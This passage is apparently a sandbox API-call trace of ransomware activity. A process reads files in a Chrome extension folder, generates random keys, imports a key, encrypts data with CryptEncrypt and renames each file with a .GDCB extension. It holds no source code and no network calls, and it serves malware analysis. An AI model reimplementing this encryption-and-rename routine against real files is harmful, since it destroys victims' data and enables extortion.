0xce80000 [0269.434] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.gdcb")) returned 1 [0269.437] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0269.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.443] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.443] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0269.443] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.443] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0269.445] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.448] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.448] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0269.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.448] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0269.451] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6797ba0) returned 1 [0269.451] CryptGetKeyParam (in: hKey=0x6797ba0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.451] CryptEncrypt (in: hKey=0x6797ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0269.451] GetLastError () returned 0x0 [0269.451] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.451] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0269.453] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6797a20) returned 1 [0269.453] CryptGetKeyParam (in: hKey=0x6797a20, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0269.453] CryptEncrypt (in: hKey=0x6797a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0269.453] GetLastError () returned 0x0 [0269.453] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.453] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0269.454] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.457] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.459] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x2f0, lpOverlapped=0x0) returned 1 [0269.501] VirtualAlloc (lpAddress=0x0, dwSize=0x2f0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.507] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js.gdcb")) returned 1 [0269.528] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.533] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.533] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.533] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.534] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.538] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.538] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.538] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.539] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.541] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797b60) returned 1 [0269.541] CryptGetKeyParam (in: hKey=0x6797b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.541] CryptEncrypt (in: hKey=0x6797b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.541] GetLastError () returned 0x0 [0269.541] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.543] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798060) returned 1 [0269.543] CryptGetKeyParam (in: hKey=0x6798060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.543] CryptEncrypt (in: hKey=0x6798060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.543] GetLastError () returned 0x0 [0269.543] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.544] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.547] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.549] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x84, lpOverlapped=0x0) returned 1 [0269.557] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.563] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.gdcb")) returned 1 [0269.568] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.573] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.573] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.573] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.573] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0269.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.577] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.577] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.577] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.577] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0269.579] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797e60) returned 1 [0269.579] CryptGetKeyParam (in: hKey=0x6797e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.579] CryptEncrypt (in: hKey=0x6797e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.580] GetLastError () returned 0x0 [0269.580] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.580] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.581] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797be0) returned 1 [0269.582] CryptGetKeyParam (in: hKey=0x6797be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.582] CryptEncrypt (in: hKey=0x6797be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.582] GetLastError () returned 0x0 [0269.582] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.582] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.583] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.585] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.588] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x103, lpOverlapped=0x0) returned 1 [0269.597] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.604] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json.gdcb")) returned 1 [0269.609] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.612] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.614] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.614] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.614] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0269.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.618] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.618] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.619] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0269.619] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.621] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797aa0) returned 1 [0269.621] CryptGetKeyParam (in: hKey=0x6797aa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.621] CryptEncrypt (in: hKey=0x6797aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.621] GetLastError () returned 0x0 [0269.621] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.621] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0269.623] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797c20) returned 1 [0269.623] CryptGetKeyParam (in: hKey=0x6797c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.623] CryptEncrypt (in: hKey=0x6797c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.623] GetLastError () returned 0x0 [0269.623] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.623] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.625] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.627] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.629] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xed, lpOverlapped=0x0) returned 1 [0269.638] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0269.649] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ar\\messages.json.gdcb")) returned 1 [0269.654] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0269.657] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.659] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0269.659] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.659] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0269.662] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0269.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0269.664] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0269.664] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0269.664] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.666] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67980a0) returned 1 [0269.666] CryptGetKeyParam (in: hKey=0x67980a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.666] CryptEncrypt (in: hKey=0x67980a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0269.666] GetLastError () returned 0x0 [0269.666] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.666] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0269.668] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6797ca0) returned 1 [0269.668] CryptGetKeyParam (in: hKey=0x6797ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0269.668] CryptEncrypt (in: hKey=0x6797ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0269.668] GetLastError () returned 0x0 [0269.668] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0269.668] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0269.670] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0269.672] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0269.674] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xa7, lpOverlapped=0x0) returned 1 [0269.685] VirtualAlloc (lpAddress=0x0, 